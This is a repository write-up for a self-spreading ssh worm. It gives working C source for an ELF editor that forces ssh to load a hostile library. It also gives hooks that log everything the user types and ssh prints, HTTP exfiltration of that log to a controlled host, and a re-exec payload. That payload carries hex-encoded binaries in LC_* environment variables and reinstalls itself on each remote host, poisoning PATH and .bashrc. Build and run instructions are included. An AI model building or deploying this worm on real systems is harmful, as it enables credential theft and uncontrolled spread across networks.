Author: @nomnomheapnom
This repo shows how the ssh client can be turned into a program that copies itself to every machine it touches.
ssh is the tool people use to log into remote computers over a network. The trick used here works in three parts:
- Edit the ssh program file. The copy of ssh the victim runs is changed in one small place, so that ssh loads a library of our code every time it starts.
- Record what the user does. That library watches everything the user types and everything ssh prints on the screen, saves it to a log file, and sends the log to a machine we control over HTTP.
- Spread to the next machine. When the victim logs into another computer, ssh carries copies of our two programs inside environment variables and rebuilds them on the far end. That computer now runs the same infected ssh, so it spreads the same way to the next machine the user logs into, and so on.
All the claims in this file were tested against a real, old, unpatched ssh client running on an isolated 32-bit training machine. The evidence is in Testing and results.
- How it works at a glance
- Background concepts
- The three files
- Part 1: Changing the ssh program file
- Part 2: The library that watches the keyboard
- Part 3: Sending the recording over the internet
- Part 4: Installing it locally
- Part 5: Spreading to remote machines
- The full infection cycle
- Build and run
- What every piece of the code does
- Portability notes
- Limitations
- Testing and results
The main idea is simple: when a victim runs the changed ssh program and logs into another computer, the program installs itself on that other computer too.
Three old and well-known techniques are joined together:
- ELF file editing. The file format that Linux programs are stored in is edited so the program loads a library we wrote.
- Library hooking. A few functions inside the system library are replaced with our own versions that do the same job, plus a little extra.
- A convenient file transfer. A program is carried inside an environment variable, so it can travel to a remote computer over ssh even when that computer has no compiler.
The third piece is the newest idea here and it is explained in depth in Part 5.
These four ideas show up constantly below. Understanding them once makes the whole paper easy.
Most Linux programs are not self-contained. They use shared libraries, extra files full of common functions, loaded into memory alongside the program when it starts. The program's binary file carries a list of the libraries it needs. Each item in that list is called a DT_NEEDED entry and it simply names a library file, for example libc.so.6.
Compilers also add a dynamic entry called DT_DEBUG to almost every program, even though the program itself never uses it. It is a spare, wasted slot that exists in nearly every ELF binary. That slot is the doorway the whole trick walks through.
The dynamic loader (also called the dynamic linker, typically ld.so) is the program that reads the DT_NEEDED entries at start-up, finds each library, and loads it. When it runs, ssh behaves this way:
- Read the
DT_NEEDEDlist. - For each name, search for the file. The search checks
LD_LIBRARY_PATH(if set), then the system cache, then the standard folders. - Load each found library in list order.
Because libraries load one after another, a library placed earlier in the list is available to intercept functions before later libraries even load. Getting our library early in that list is the goal of Part 1.
An environment variable is a small piece of text data that a parent process hands to a child process when the child starts. Every process inherits the environment of the process that started it.
OpenSSH has two related settings:
AcceptEnv(server side): a list of patterns. The ssh server admits only those environment variables, sent by the client, that match this list.SendEnv(client side): a list of environment variables the ssh client forwards to the server after login.
The standard, near-universal default on servers is:
AcceptEnv LANG LC_*
Everything starting with LC_ is allowed. This matters because our payload variables are deliberately named LC_BIN1 and LC_BIN2, so they match the LC_* pattern and pass straight through an unchanged, stock server configuration. Testing confirmed this live.
src/
├── dynamicorrupt.c # edits the ELF dynamic section of a copy of ssh
├── c.so.6.c # the malicious library: keylog + upload + self-spread
└── install.sh # builds everything, corrupts local ssh, poisons PATH
A small command line tool. It takes a copy of a binary (for example ssh), finds the dynamic section, locates the unused DT_DEBUG slot, converts it into a DT_NEEDED entry, and points that entry at c.so.6 (a substring of the already-present name libc.so.6). It works on both 32-bit and 64-bit binaries.
A shared library named c.so.6, exactly the tail of the genuine libc.so.6 name. When ssh loads it, three things happen inside:
- Keylog. It records the user's typed input and ssh's output.
- Upload. When the ssh session ends, it POSTs the log to a remote receiver.
- Spread. Its constructor re-executes ssh with arguments that install the infection on the remote machine the victim just logged into.
A script that compiles the two C files, hex-encodes the binaries, corrupts a private copy of ssh, places it in $HOME/.bin, and points PATH and LD_LIBRARY_PATH at that folder.
The method is a well-known ELF dynamic-section edit, documented in the Phrack 61-8 article more than twenty years ago. It still works because most shipped programs still lack the protection that would stop it.
You need four facts:
- Every dynamically linked program lists its libraries as
DT_NEEDEDentries. - Compilers also emit a
DT_DEBUGentry, unused by almost every program. A spare slot. - That spare slot can be turned into an extra
DT_NEEDEDentry. - A
DT_NEEDEDentry points at a string naming a library. Instead of adding new text to the file (hard to do without growing it), the entry can point at a substring of a library name that already exists. ssh already listslibc.so.6, so our new entry points at justc.so.6, which is the tail of that string. The loader then searches for a file namedc.so.6, finds ours (because we put it where the loader will look), and loads it before the real libc, whose own entry is untouched.
Every ELF program has a list of dynamic entries. This step locates it and counts the entries.
The released tool is class-agnostic. 32-bit and 64-bit ELF files use slightly different layouts, so the tool reads the EI_CLASS byte at the start of the file, picks the right layout, and reads all numbers through memcpy with correct byte order. One source file, both kinds of programs:
const elfabi *a = (elf_buff[EI_CLASS] == ELFCLASS64) ? &abi64 : &abi32;
size_t e_phoff = (size_t)rdword(a, elf_buff + a->ehdr_phoff);
size_t e_phnum = rd32(elf_buff + a->ehdr_phnum) & 0xFFFF;
const uint8_t *dyn_ph = find_phdr(a, elf_buff, size, e_phoff, e_phnum, PT_DYNAMIC);
size_t dyn_off = (size_t)rdword(a, dyn_ph + a->phdr_poff);
size_t n_entries = rdword(a, dyn_ph + a->phdr_pfilesz) / a->dyn_size;DT_NEEDED entries do not store names directly. They store a number that points into the string table .dynstr, where the real names live. So the tool must locate .dynstr.
A useful detail: the tool finds it without touching the section headers. It reads the DT_STRTAB entry (a memory address), then converts that address to a file position by walking the PT_LOAD program headers, which describe what gets loaded where. That means the tool works even on stripped binaries where the section header table has been removed:
for (size_t i = 0; i < n_entries; i++)
if (rdword(a, dyn + a->dyn_tag) == DT_STRTAB)
dynstr_vaddr = rdword(a, dyn + a->dyn_val);
size_t dynstr_off = vaddr_to_offset(a, elf_buff, size, e_phoff, e_phnum, dynstr_vaddr);
char *dynstr_base = (char *)elf_buff + dynstr_off;The tool scans the dynamic entries for our spare slot (DT_DEBUG) and for the existing DT_NEEDED entry that names the library whose string we want to borrow (target_lib, here libc.so.6):
for (int i = 0; i < n_entries; i++)
{
if (dyn_base[i].d_tag == DT_NEEDED &&
!strcmp(&dynstr_base[dyn_base[i].d_un.d_val], target_lib))
dt_needed_index = i;
if (dyn_base[i].d_tag == DT_DEBUG)
dt_debug_index = i;
}The DT_DEBUG tag is changed to DT_NEEDED. If the spare slot sits after the real libc entry in the file, the two are swapped so our library is requested before libc. Loading order matters: our library must load early enough to intercept the functions it replaces.
+3 is the offset to the substring: in libc.so.6, the substring c.so.6 starts at the ninth character, i.e. three characters after lib:
dyn_base[dt_debug_index].d_tag = DT_NEEDED;
if (dt_debug_index > dt_needed_index) {
dyn_base[dt_debug_index].d_un.d_val = dyn_base[dt_needed_index].d_un.d_val;
dyn_base[dt_needed_index].d_un.d_val = dyn_base[dt_debug_index].d_un.d_val+3;
} else
dyn_base[dt_debug_index].d_un.d_val = dyn_base[dt_needed_index].d_un.d_val+3;All of this happens on a copy of the program in memory; the finished copy is then written to disk.
Our library has to act like part of libc, because every call ssh makes to write(), read(), and close() will now hit our code first. So the library must:
- Replace a few libc functions with its own versions, and
- Forward every other call to the real implementations.
To forward, the library finds the real libc at load time with dlopen(), and looks up the addresses of the real functions with dlsym(). The path to real libc is worked out and baked in at build time:
cc -s -shared -fPIC c.so.6.c -o c.so.6 -ldl \
-DLIBC_PATH=$(ldd $(which ssh) | grep libc.so | awk '{print "\""$3"\""}')A constructor is a function that runs automatically when a shared library is loaded, before the program's own main(). Ours looks up the real libc functions and opens the log file:
__attribute__((constructor)) void _initf(int ac, char **av)
{
handle = dlopen(LIBC_PATH, RTLD_LAZY);
real_close = (void *)dlsym(handle, "close");
real_write = (void *)dlsym(handle, "write");
real_read = (void *)dlsym(handle, "read");
log_fd = open("/tmp/.sshlog", O_APPEND | O_CREAT | O_RDWR, S_IRWXU);
log_fd = dup2(log_fd, 42);
}Two small details matter:
- The log is opened with
O_APPEND | O_CREAT | O_RDWRand mode0700, so each run appends and the file is private to the user. - The handle is duplicated onto the unusual number 42. ssh closes almost every file handle during its own start-up sequence. A high, odd number like 42 keeps the log handle from being closed while ssh tidies up.
close() is intercepted for one reason only: to stop ssh from closing our log handle. Anything else passes straight through:
int close(int fd)
{
if (fd == log_fd)
return 0;
return real_close(fd);
}read() and write() are called constantly by ssh for input and output. Both call the real functions first (so ssh keeps working as normal), then copy the printable bytes into the log. Notice the logging happens through a raw syscall() rather than through libc's write(). That deliberately bypasses our own hook, otherwise every logged line would re-enter our logging code forever, an endless loop:
ssize_t write(int fd, const void *buf, size_t count)
{
int ret = (real_write(fd, buf, count));
syscall(__NR_write, log_fd, "[write]:", 8);
for (int i = 0; i < ret; i++)
if (isprint(((char *)buf)[i]) || ((char *)buf)[i] == '\n')
syscall(__NR_write, log_fd, &((char *)buf)[i], 1);
syscall(__NR_write, log_fd, "\n", 1);
return ret;
}
ssize_t read(int fd, void *buf, size_t count)
{
int ret = (real_read(fd, buf, count));
syscall(__NR_write, log_fd, "[read]:", 7);
for (int i = 0; i < ret; i++)
if (isprint(((char *)buf)[i]))
syscall(__NR_write, log_fd, &((char *)buf)[i], 1);
syscall(__NR_write, log_fd, "\n", 1);
return ret;
}The logging is intentionally the simplest possible version: it records only printable text, with no error handling. That is enough to prove the mechanism; a production version would do a much neater job.
A log that stays on the infected machine is useless, because it dies together with the session. The log must reach a machine we control. That needs two facilities:
- A way to send the log. Here, an HTTP POST request to a small receiver that just saves whatever arrives.
- A trigger. Here, the library destructor, a function that runs automatically when the library is unloaded, right as ssh exits.
The request is assembled with a raw network socket and a multipart/form-data body, the same style a browser uses when uploading a file to a website. The log is streamed through the sendfile() system call, so the whole file never has to sit in memory at once:
void do_post(void)
{
host = "10.0.2.2";
sock_fd = socket(AF_INET, SOCK_STREAM, 0);
addr.sin_family = AF_INET;
addr.sin_port = htons(atoi(port));
addr.sin_addr.s_addr = inet_addr(host);
if (sock_fd < 0)
return;
if (connect(sock_fd, (struct sockaddr *)&addr,
sizeof(struct sockaddr)) < 0)
{
close(sock_fd);
return;
}
size += log_statbuf.st_size;
sprintf(capsule,
"POST http://%s:%s/%s HTTP/1.1\r\n"
"Host: %s:%s\r\n"
"Accept: */*\r\n"
"Content-Type: multipart/form-data; "
"boundary=------------------------4ae6d1de929f9e46\r\n"
"Content-Length: %d\r\n"
"\r\n"
"--------------------------4ae6d1de929f9e46\r\n"
"Content-Disposition: form-data; name=\"vxlog\"; "
"filename=\"vxlog.txt\"\r\n"
"Content-Type: application/octet-stream\r\n"
"\n",
host, port, resource, host, port, size);
real_write(sock_fd, capsule, strlen(capsule));
sendfile(sock_fd, log_fd, 0, log_statbuf.st_size);
real_write(sock_fd, "\n\n--------------------------4ae6d1de929f9e46--\r\n", 48);
close(sock_fd);
}sendfile() is not available on every system; swapping it for a simple copy loop is trivial.
The destructor mirrors the constructor: it rewinds the log to the start, works out its size, sends it, then closes and deletes the file:
__attribute__((destructor)) void _finif(void)
{
lseek(log_fd, 0, SEEK_SET);
fstat(log_fd, &log_statbuf);
do_post();
syscall(__NR_close, log_fd);
unlink("/tmp/.sshlog");
}At this point the changed ssh records what the user types and sends the recording to a machine we control. That is a working, if basic, ssh keylogger. The worm behaviour is the subject of Part 5.
install.sh builds both tools and installs them for a local user. It makes no effort to hide its files; the only goal is to ensure the next ssh command runs the changed copy instead of the normal one.
cc -s -o dynamicorrupt dynamicorrupt.c
cc -s -shared -fPIC c.so.6.c -o c.so.6 -ldl \
-DLIBC_PATH=$(ldd $(which ssh) | grep libc.so | awk '{print "\""$3"\""}')
xxd -plain dynamicorrupt | tr -d \\n > dynamicorrupt.hex
xxd -plain c.so.6 | tr -d \\n > c.so.6.hex
rm -rf $HOME/.bin
mkdir $HOME/.bin/
cp *.hex $HOME/.bin/
cp $(which ssh) $HOME/.bin/
./dynamicorrupt $HOME/.bin/ssh
cp c.so.6 $HOME/.bin/
echo "export PATH=$HOME/.bin:$PATH" >> $HOME/.bashrc
echo "export LD_LIBRARY_PATH=$HOME/.bin/" >> $HOME/.bashrc
export PATH=$HOME/.bin:$PATH
export LD_LIBRARY_PATH=$HOME/.bin/Four jobs, in order:
- Build. Compile
dynamicorruptandc.so.6.LIBC_PATHis derived automatically from the libc the real ssh depends on. - Convert to hex. Turn both binaries into plain hexadecimal text. Not needed locally yet, but this is the exact form used to carry them over the network in Part 5. Hex is chosen because it is pure text: it can live inside an environment variable and be printed and piped on the far end.
- Install. Copy the real ssh into
$HOME/.bin, rundynamicorrupton that copy, and dropc.so.6beside it. - Change the search order. Update
PATHandLD_LIBRARY_PATH, both in.bashrc(for future shells) and in the current shell. From then on:sshmeans our changed copy, and- the loader finds our
c.so.6before the reallibc.so.6.
After the script runs once, the victim's ssh records and uploads. It does not spread yet; that is Part 5.
Self-spreading combines two ideas:
- a re-exec trick, where the program quietly restarts itself with different arguments, and
- the environment-variable upload channel, where payloads ride in variable names that ssh's
-SendEnvforwards to the far end.
re-exec means "the program runs itself again." On its own that sounds pointless; the power comes from the ability to change the arguments the program was started with. We restart ssh with extra arguments that make it install our code on the remote host.
The constructor that does this is below. The key guard is an environment variable called VXCOOL, which prevents the worst catastrophe: the program endlessly restarting itself (infinite recursion):
__attribute__((constructor)) int change_args(int argc, char **argv, char **envp)
{
int env_size = 0;
if (getenv("VXCOOL") == NULL) /* not yet re-exec'ed */
{
char **envar = envp;
while (*envar++ != NULL)
env_size++;
/* copy old envp + VXCOOL flag + LC_BIN1 + LC_BIN2 + NULL */
char **new_envp = malloc(sizeof(char *) * (env_size + 4));
for (int i = 0; i < env_size; i++)
new_envp[i] = strdup(envp[i]);
new_envp[env_size] = "VXCOOL=true";
new_envp[env_size + 1] = dynamicorrupt_envar();
new_envp[env_size + 2] = lcso_envar();
new_envp[env_size + 3] = NULL;
/* old argv + "-t" + "-SendEnv" + <payload> + NULL */
char **new_argv = malloc(sizeof(char *) * (argc + 4));
for (int i = 0; i < argc; i++)
new_argv[i] = strdup(argv[i]);
new_argv[argc] = "-t";
new_argv[argc + 1] = "-SendEnv";
new_argv[argc + 2] =
"rm -rf $HOME/.bin;"
"mkdir $HOME/.bin/;"
"cp $(which ssh) $HOME/.bin/;"
"printenv LC_BIN1 > $HOME/.bin/dynamicorrupt.hex;"
"cat $HOME/.bin/dynamicorrupt.hex | xxd -plain -revert > $HOME/.bin/dynamicorrupt;"
"chmod +x $HOME/.bin/dynamicorrupt;"
"$HOME/.bin/dynamicorrupt $HOME/.bin/ssh;"
"printenv LC_BIN2 > $HOME/.bin/c.so.6.hex;"
"cat $HOME/.bin/c.so.6.hex | xxd -plain -revert > $HOME/.bin/c.so.6;"
"chmod +x $HOME/.bin/c.so.6;"
"echo \"export PATH=$HOME/.bin:$PATH\" >> $HOME/.bashrc;"
"echo \"export LD_LIBRARY_PATH=$HOME/.bin/\" >> $HOME/.bashrc;"
"export PATH=$HOME/.bin:$PATH;"
"export LD_LIBRARY_PATH=$HOME/.bin/;"
"$SHELL -i;";
new_argv[argc + 3] = NULL;
execve("/proc/self/exe", new_argv, new_envp);
}
else
unsetenv("VXCOOL"); /* second run: proceed normally */
return 0;
}The flow, step by step:
- This is a constructor, so it runs before ssh's own code and before the rest of our library (the keylog setup).
- First run (no
VXCOOL): it builds a new environment and a new argument list, then callsexecve("/proc/self/exe", ...). That is, it restarts the same program file with the new arguments. It addsVXCOOL=true, so the fresh copy knows this situation has already been handled. - Second run (
VXCOOLset): it removes the flag withunsetenv()and returns without doing anything special. ssh now starts normally, but with the extra arguments we gave it.
The extra arguments are -t (ask the remote side for a usable screen, a pseudo-terminal, without which the remote command cannot run) and -SendEnv (forward the payload variables). Both are ordinary, legitimate ssh options.
The payloads travel inside environment variables read from $HOME/.bin. This function builds the LC_BIN2 variable containing the library as hex text:
char *lcso_envar(void)
{
char *env_lcso = NULL;
struct stat stat_dynamicorrupt;
char path[128];
sprintf(path, "%s/.bin/c.so.6.hex", getenv("HOME"));
int fd = open(path, O_RDONLY);
if (fd < 0)
return NULL;
fstat(fd, &stat_dynamicorrupt);
env_lcso = malloc(stat_dynamicorrupt.st_size + strlen("LC_BIN2="));
strcpy(env_lcso, "LC_BIN2=");
syscall(__NR_read, fd, env_lcso + strlen("LC_BIN2="), stat_dynamicorrupt.st_size);
syscall(__NR_close, fd);
return env_lcso;
}It produces LC_BIN2=<hex of c.so.6>. LC_BIN1 is built the same way and carries dynamicorrupt.
Why LC_* names and not anything else. An ssh server only admits variables matching its AcceptEnv list. The stock, near-universal default is AcceptEnv LANG LC_*. Because the payload variables are named LC_BIN1/LC_BIN2, they match the LC_* pattern and are accepted without any server-side change. Verified live during testing (see results).
Why no LD_PRELOAD over the network. By the time ssh runs our remote command on the far machine, that machine's ssh has already loaded its libraries, so pushing environment-based preloading would be too late and would not touch the next session. Instead the far end receives the programmes as hex text, decodes them with xxd -r, and runs dynamicorrupt locally. That is the same local-install sequence from Part 4, but with no compiler needed.
Sending source code and compiling remotely is one option, and the test machine did have a compiler, so it would have worked there. But the hex-blob form is strictly stronger: it keeps working on machines with no compiler at all, such as minimal server installs. The payload travels as a ready-made binary, encoded as text, and is reconstructed on arrival.
- The victim runs the changed
ssh. Thechange_argsconstructor fires, the program restarts itself with-t -SendEnv, and shipsLC_BIN1/LC_BIN2. - After the victim authenticates, ssh runs the payload on the remote machine: it reconstructs
dynamicorruptandc.so.6, corrupts a copy of the remotessh, and points the remote user'sPATH/LD_LIBRARY_PATHat the changed copies. - The next time that remote user runs
sshto go somewhere else, they run the changed client, which records, uploads, and spreads again. - The cycle repeats. Every new hop needs no compiler, because the payload always travels as ready-made hex text.
victim ssh -t -SendEnv -------> remote A (payload installed here)
^ |
| |
+---------- keylog upload ------+ remote A user ssh -> remote B (repeats)
- A C toolchain (
cc/gcc). xxd(part of vim-common) for hex encoding and decoding.- OpenSSH client and a target ssh server.
- An isolated, intentionally vulnerable test environment. Nothing in this repo is configured to be invisible or safe to run on production machines.
cd src
cc -O2 -Wall -Wextra -Werror -o dynamicorrupt dynamicorrupt.c
cc -O2 -Wall -Wextra -Werror -shared -fPIC -o c.so.6 c.so.6.c -ldl \
-DLIBC_PATH="$(ldd "$(which ssh)" | grep libc.so | awk '{print "\""$3"\""}')"./dynamicorrupt <input-binary> [<output> [<libc-name>]]
Examples:
# corrupt in place (writes back over the input copy)
./dynamicorrupt /path/to/copy/of/ssh
# write the result to a different file
./dynamicorrupt /usr/bin/ssh /tmp/out ssh # defaults
./dynamicorrupt /usr/bin/ssh /tmp/out libc.so.6 # explicitThe name argument lets you borrow a different library string than libc.so.6; +3 is tuned for libc.so.6, so a different length requires adjusting the offset.
cd src
bash install.shinstall.sh compiles everything, corrupts a private copy of ssh in $HOME/.bin, and poisons the shell search path. Check the result with:
ldd ~/.bin/ssh
readelf -d ~/.bin/ssh | grep NEEDEDc.so.6 posts the log to 10.0.2.2:9999/upload.php by default. Both the host and the port are compile-time constants in c.so.6.c, so edit them (and ideally replace sendfile() and the multipart body) to point at a receiver you control. A trivial PHP sink that saves uploaded files to disk is enough to observe the exfil.
| File | Function | What it does |
|---|---|---|
dynamicorrupt.c |
main |
Parses input/output/library name, loads the whole file, dispatches to the ABI layer |
dynamicorrupt.c |
find_phdr |
Walks program headers to find PT_DYNAMIC and PT_LOAD |
dynamicorrupt.c |
vaddr_to_offset |
Converts a virtual address to a file offset (no section headers needed) |
dynamicorrupt.c |
the swap block | Turns DT_DEBUG into DT_NEEDED and points it at c.so.6 |
c.so.6.c |
_initf |
Constructor: dlopen real libc, resolve real functions, open log on fd 42 |
c.so.6.c |
close |
Hook: never let ssh close fd 42 |
c.so.6.c |
read / write |
Hooks: do the real work, then log printable bytes via raw syscalls |
c.so.6.c |
do_post |
Sends the log via HTTP POST using sendfile |
c.so.6.c |
_finif |
Destructor: stat, post, close, unlink the log |
c.so.6.c |
change_args |
Constructor: re-exec ssh with -t -SendEnv and the payload variables |
c.so.6.c |
dynamicorrupt_envar / lcso_envar |
Build LC_BIN1 / LC_BIN2 from the hex files |
install.sh |
whole script | Build, hex-encode, corrupt, install, poison PATH |
- 32-bit vs 64-bit. The corruptor is class-agnostic: it auto-detects
EI_CLASSand handles bothELF32andELF64. Both paths were exercised during testing; see Results. - Library names. The
+3substring offset is correct forlibc.so.6. Other distributions or other target libraries may need a different offset. Always verify the resulting load order withldd. sendfile(). Not portable everywhere; a simple copy loop works as a substitute.- Server
AcceptEnv.LC_*is the default on widely used distributions and was confirmed on the test box. A locked-down server that setsAcceptEnvto nothing would still receive the variables (harmlessly) but would not forward them, and the channel would silently fail.
- No concealment. Nothing hides the log file, the
$HOME/.binfolder, or the edited PATH. A determined examiner will spot all of it. - Rudimentary logging. Only printable characters are recorded; no session formatting, no error handling, no concurrency support.
- Compile-time constants. The C2 address, port, and resource are baked in. A production variant would need a real transport channel and runtime configuration.
- Single-hop assumptions. The arrangement assumes one user and one ssh process at a time; concurrent sessions would contend over fd 42.
- Bootstrap needed. The worm cannot break into a machine on its own. The test box was reached through a separate, well-known vulnerability to obtain the initial shell from which the changed client was installed for the first time.
All findings were measured on one isolated test machine on a private, sealed-off network. The machine was an intentionally vulnerable, antiquated 32-bit training system running an outdated, unpatched ssh client. Only that one machine was ever scanned.
How it was tested. The preconditions the trick depends on, and the delivery assumptions, were verified against the real, unpatched binary rather than a synthetic copy. The full remote attack chain was not run against the live network; each load-bearing claim was instead confirmed with observed evidence.
| Thing | Value |
|---|---|
| Type | intentionally vulnerable training machine |
| Kernel | a 2008-era Linux server kernel |
| Architecture | i686 (32-bit) |
| ssh client | OpenSSH_4.7p1 Debian-8ubuntu1, OpenSSL 0.9.8g |
| libc | libc.so.6 at /lib/tls/i686/cmov/libc.so.6 |
| Access | administrator shell through a well-known remote backdoor service |
The ELF file has what the trick needs. Confirmed with readelf on the real /usr/bin/ssh:
$ readelf -h /usr/bin/ssh
Class: ELF32
Machine: Intel 80386
$ readelf -d /usr/bin/ssh | grep -E "NEEDED|DEBUG"
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x00000015 (DEBUG) 0x0 # DT_DEBUG present, unused
- A
DT_DEBUGentry is present (value0x0) even though the program never asks for it. The core assumption holds on a real, twenty-year-old binary. libc.so.6is present inDT_NEEDED, so the substring trick (+3toc.so.6) applies without adding any new text.- No
GNU_RELROprotection and anRW(non-executable) stack segment mean nothing blocks the rewrite.
The environment-variable channel works. Confirmed live against the stock server settings:
$ grep AcceptEnv /etc/ssh/sshd_config
AcceptEnv LANG LC_*
$ grep SendEnv /etc/ssh/ssh_config
SendEnv LANG LC_*
LC_BIN1/LC_BIN2 fall inside the LC_* pattern, so they are forwarded without any server-side change.
The compiler question. The box ships an old gcc toolchain, so both delivery methods (build-on-target and hex blob) were viable. The hex-blob method is the stronger assumption because it also works where no compiler exists.
Testing exposed a real shortcoming: the test machine's ssh is 32-bit (ELF32), while the original dynamicorrupt.c only understood the 64-bit (Elf64_*) layout. The tool could not even read the target.
That is exactly why the released version is class-agnostic. It reads the EI_CLASS byte, picks the right layout, and handles both kinds. Both paths were exercised on copies:
$ ./dynamicorrupt /usr/bin/ssh /tmp/out # ELF64 host binary
[dynamicorrupt] libc.so.6 class=ELF64 needed[3]=libc.so.6
debug[15]: injected substring dependency at +3
$ readelf -d /tmp/out | grep NEEDED
... NEEDED [libz.so.1]
... NEEDED [c.so.6] # <- our forged dep, placed before libc.so.6
... NEEDED [libc.so.6]
$ ./dynamicorrupt /usr/bin/ssh /tmp/out # ELF32 laboratory client
[dynamicorrupt] libc.so.6 class=ELF32 needed[0]=libc.so.6
debug[12]: injected substring dependency at +3
$ readelf -d /tmp/out | grep NEEDED
... NEEDED [c.so.6]
... NEEDED [libc.so.6]
Both came out loadable: ldd resolves c.so.6 correctly from LD_LIBRARY_PATH.
- The twenty-year-old technique still works against a real, unpatched ELF binary.
- The 32-bit/64-bit limitation found in testing is fixed: one source builds a corruptor that handles both
ELF32andELF64. - The
LC_*default on stock ssh servers is the confirmed enabler of the environment-variable channel; theLC_BIN*naming is deliberate, not coincidental. - A worm of this kind needs an initial foothold. In the lab that came from a separate, well-known vulnerability that yielded the administrator shell used to install the changed client for the first time.